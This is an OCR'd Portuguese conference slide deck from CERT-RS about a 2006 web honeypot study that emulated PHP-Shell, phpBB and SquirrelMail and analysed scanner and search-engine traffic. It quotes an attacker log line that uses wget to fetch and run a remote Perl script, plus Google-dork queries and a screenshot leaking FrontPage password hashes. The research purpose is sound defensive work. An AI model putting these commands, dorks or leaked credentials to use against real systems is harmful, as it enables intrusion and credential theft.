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Introducao

e O que sao HoneyPots ?

® Um recurso de rede cuja funcao € ser atacado e
comprometido.

® HoneyPot web ?
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Motivacao

¢ \ulnerabilidades nas
aplicacoes web

® 64% dos alertas do Sans
Institute -> relacionados a

Alertas de Novembro/2006

*
web
Windows @® Third Party Windows Apps
Mac OS Linux
® BSD UNIX
@® Web Application Cross Platform

_ Web Application 64%
* http://www.sans.org/newsletters/risk/
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Motivacao

® “|t seems like web apps are currently one of
the easiest ways to compromise a network
infrastructure”
Thorsen Holz*

® Projeto Honeynet.BR
* Estatisticas porta 80 }Hﬁﬁ%yﬁ oy MATY

* www.honeyblog.org
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Experimento

e Google HoneyPot
e AplicagcOes emuladas
* PHP-BB
* PHP-Shell
* PHP-Sysinfo
* SquireMail
® Periodo — agosto a outubro de 2006
® 60 dias de coleta de dados

™ IO .
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Experimento
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Experimento
GET /horde/ g?" -::sl‘ é
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: GET /phpshell/ : ' ’ h
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Servidor Web

if [ -n "$phpbb" ]; then
cat << _eof_
<html|>

<META HTTP-EQUIV="Refresh"
CONTENT="1; URL=http://---.pop-rs.rnp.br/
phpBB2/install/install.php">

</html|>
eof

cert-rs
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Resultados

Aplicacao
emulada

PHP- Shell
PHP-BB
PHP- Sysinfo
Squirre Mail
Total

s
it

..........

Total de
acessos

1176
70

65
53
1364

cert-rs

% do
total

86,2%
5,1%
4,7%
3,8%
100%
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PHP Shell 1.7

Current wotlung directory: Rootf

Choose new working directory, | jl j

_otrtnand: |Is -Iht Execute Command

Enable stderr-trapping? [
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Resultados

Total de acessos

Varreduras

2%

Buscadores

28%

Outros
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e Varreduras: 70%
®* Ferramentas automaticas
* Worms
* Ferramentas Auto-Hack
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66.X.X.X - - [28/Set/2006:06:31:38 ] "GET /adxmlrpc.php HTTP/1.0"

66.X.X.X - - [28/Set/2006:06:31:39 ] "GET /adserver/adxmlrpc.php HTTP/1.0"
66.X.X.X - - [28/Set/2006:06:31:39] "GET /phpAdsNew/adxmlrpc.php HTTP/1.0"
66.X.X.X - - [28/Set/2006:06:31:40] "GET /phpadsnew/adxmlrpc.php HTTP/1.0"

66.x.X.x - - [28/Set/2006:06:31:40] "GET /phpads/adxmirpc.php HTTP/1.0"
66.x.X.X - - [28/Set/2006:06:31:40] "GET /Ads/adxmlirpc.php HTTP/1.0"
66.x.X.x - - [28/Set/2006:06:31:41] "GET /ads/adxmirpc.php HTTP/1.0"
66.x.X.X - - [28/Set/2006:06:31:41] "GET /xmirpc.php HTTP/1.0"

66.x.X.X - - [28/Set/2006:06:31:42] "GET /xmirpc/xmirpc.php HTTP/1.0"

. /e |
GTS 08 - Sao Paulo




GTS 08 - Sao Paulo




—

vop-rs/rnp IS '.:.' = 4 .,+ & . R

Varreduras

e Mecanismos de busca — 28%
* Google
® Msn Search
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¢ |dentifica requisicoes oriundas de
mecanismos de buscas

® indexacao das aplicacoes vulneraveis

Links ocultos:
<a href=http://honeysite.com/phpshell.php>.</a>
<img src="http://honeysite.com/honeypot.php” width="0" height="0">
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function standardSigs($Attacker, $SafeReferer) {
$results = array(); //Was the site crawled?
if($Attacker['referer'] == $SafeReferer) {
$results[] = "Spider Detected";

} /INo referer found. The "only way" to reach the page is with a referer. Referers help
us determine how we were attacked.

if(PAttacker['referer] =="") {
$results[] = "No Referer”;

}

//Determine if an KNOWN engine was used

$Engines = array ('lycos.com’, 'google.com’, 'yahoo.com’, "altavista.com’,
'209.202.248.202', '216.239.37.99', '216.109.112.135", '66.218.71.198");

foreach ($Engines as $string) {
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function standardSigs($Attacker, $SafeReferer) {

if(SAttacker['referer'] == $SafeReferer)

$results[] = "Spider Detected";

} /INo referer found. The "only way" to reach the page is with a referer. Referers help
us determine how we were attacked.

if(PAttacker['referer] =="") {
$results[] = "No Referer”;

}

//Determine if an KNOWN engine was used

$Engines = array ('lycos.com’, 'google.com’, 'yahoo.com’, "altavista.com’,
'209.202.248.202', '216.239.37.99', '216.109.112.135", '66.218.71.198");

foreach ($Engines as $string) {
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Mecanismos De Busca

e Por que utiliza-los ?
®* Anonimidade
® Precisao
®* Avancados recursos de busca

-inurl:htm -inurl:html -inurl:asp intitle:"index of" +(wmv|mpg|avi)

"SquirrelMail version 1.4.4" inurl:src ext:php
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Web Images Video News Maps more =

GO L)gle | authors | administrators | users) "# -FrontPage-"  Search | ’;‘i‘;:rn;:feiearch

Web Results 1 - 10 of about 96 for ext:pwd inurl:(service | authors |

-FrontPage- tritin-films:K9BgMOF5w/IGY
-FrontPage- tritin-films: K9BqMOF5SwW/IGY.
www.machinima.comiritin-films/_wvti_pvt/service pwd - 1k - Cached - Similar pages

-FrontPage- ron:HYpfTiLNfYm6Q
-FrontPage- ron:HYpfTjLNffm&Q. ~ e e——

www.ocda.demon.co.uk/_vti_pvt/service pwd - 1k - Cached - Similar pages

-FrontPage- ekendall:bYId1Sr73NLKo louisa:5zm94d/cdDFiQ
-FrontPage- ekendall:bYld15r73NLKo louisa:5zm94d7cdDFRiG.
www . heyerlist.org/garderobe/ vti_pvt/service pwd - 1k - Cached - Similar pages

-FrontPage- grahaale:B1GUju.VhGb30Q ftpcwi:kLH1Y85|Ms3Yo spykecwi ...
-FrontPage- grahaale:B1GUju VhGh3Q fipcwi:kLH1Y&85/Ms3Yo

spykecwi: |bgkOGMLILUKL.

eclipse.cps.kl2 va.us/Schools/CWIl/web files/ wti_pvit/service pwd - 1k -

-FrontPage- mbenitez:bOtGsOmojxRE8M
-FrontPage- mbenitez:bOtGs0mojxREM.
wwew uprh.edu/~im/ vt pvtyadministrators.pwd - 1k - Cached - Similar pages
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e http://www.google.com.eg/search?
hi=arg=intitle&#37:3A&#37;:22PHP&#43;:Shell&#43;*&#37;22

&#43;8#37;22Enable&#43;stderr&#37,228#43;filetypes#37;3
Aphp

http://www.google.com.br/search?q=php&#43;Sh9||&h|=pt
BRIr=start=10sa=N

http://www.google.com/search?
hi=zhCNg=Intitle&#37;3A&#37;22php&#43;shell&#37;22&#4

3;#37;22Enable&#43;stderr&#37;22&#43;fi|etype&#37;3Aphp
btnG=Google&#43;&#37;E6&#37;90&#37;9C&#37;E7&#37;B4&

#37;A2Ir=

. /e |
GTS 08 - Sao Paulo




S _ N -
POP-rS/FNP e — i | o ESE W | cert-rs
. - - ! | E ,... E

)
=

Logs dos HoneyPots

66.x.x.X - - [04/Aug/2006:17:16:51] "GET /
phpshell/index.php?site=http://
www.albacrew.us/tool25.gif?&cmd=cd /
tmp/;wget http://www.albacrew.us/
pico.txt;perl pico.txt;rm -rf pico.” HT TP/
1.0" 200 1339

® 66.x.X.X - [13/Aug/2006:14:59:35] "GET /
webmail/src/redirect.php?plugins[]=../../../..]
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Worms turn on Google to hunt for victims
Google 'hacking' zo simple even a monkey could do it

Torm Sanders at BSA Conferance in San Jose, vnunet,cormm 15 Feb 20068

Malware authorz are increaszingly
creating digital pests that usze
Google to find their next wickinn,

dzing the search toaol for
autormated vulnerability detection
iz the latest trend in a technique
known as '"Soogle hacking'.

Heorge Kurtz, senior wice
president for risk mnanagement at
security firmmn McAfee, told
vnunet.com about the
phenomenon after a presentation
at the RSA Conference in San
Jasé&,

The Santy.a worm, for instance,
targeted a known vualnerability in
some vwersions of the phpBB open
source bulletin board application
to deface websites, It found its ";j

http://www.vnunet.com/vnunet/news/2150292/worms-google-hunt-victims
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Worms turn on Google to hunt for victims
Google 'hacking' zo simple even a monkey could do it

Torm Sanders at BSA Conferance in San Jose, vnunet,cormm 15 Feb 20068

. Google 'hacking' so simple even a monkey could do it

dzing the search toaol for
autormated vulnerability detection
iz the latest trend in a technique
known as '"Soogle hacking'.

Heorge Kurtz, senior wice
president for risk mnanagement at
security firmmn McAfee, told
vnunet.com about the
phenomenon after a presentation
at the RSA Conference in San
Jasé&,

The Santy.a worm, for instance,
targeted a known vualnerability in
some vwersions of the phpBB open
source bulletin board application
to deface webszsites, It found its ="

http://www.vnunet.com/vnunet/news/2150292/worms-google-hunt-victims
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Google &=

We're sorry...

.. but we can't process your request right now. A computer virus or
spyware application is sending us automated requests, and it appears that
your computer or network has been infected.

We'll restore your access as quickly as possible, so try again soon. In the
meantime, you might want to run a virus checker or spyware remover to
make sure that your computer is free of viruses and other spurious
software.

We apologize for the inconvenience, and hope we'll see you again on
Google.

. /e |
GTS 08 - Sao Paulo




cert-rs

Conclusoes

e Aplicacoes web sao vulneraveis
® ‘cases’ prontos sao mais perigoso ainda
¢ dificil proteger
Firewall
Padroes das consultas

. /e |
GTS 08 - Sao Paulo




= . oo PSR -'
pop=rs rn P g — i T R e (. 'r ; cert-rs
= _ _— : i

Agradecimentos

Perguntas

ceron@tche.br




e e e e e BITEITERZ LT i

_— =
POPrS/rNp e — S

HoneyPot Web:

analise do trafego web malicioso

Joao Marcelo Ceron
Liane Tarouco
Leandro Bertholdo
Leonardo Lemes
Glauco Ludwig

cert-rs




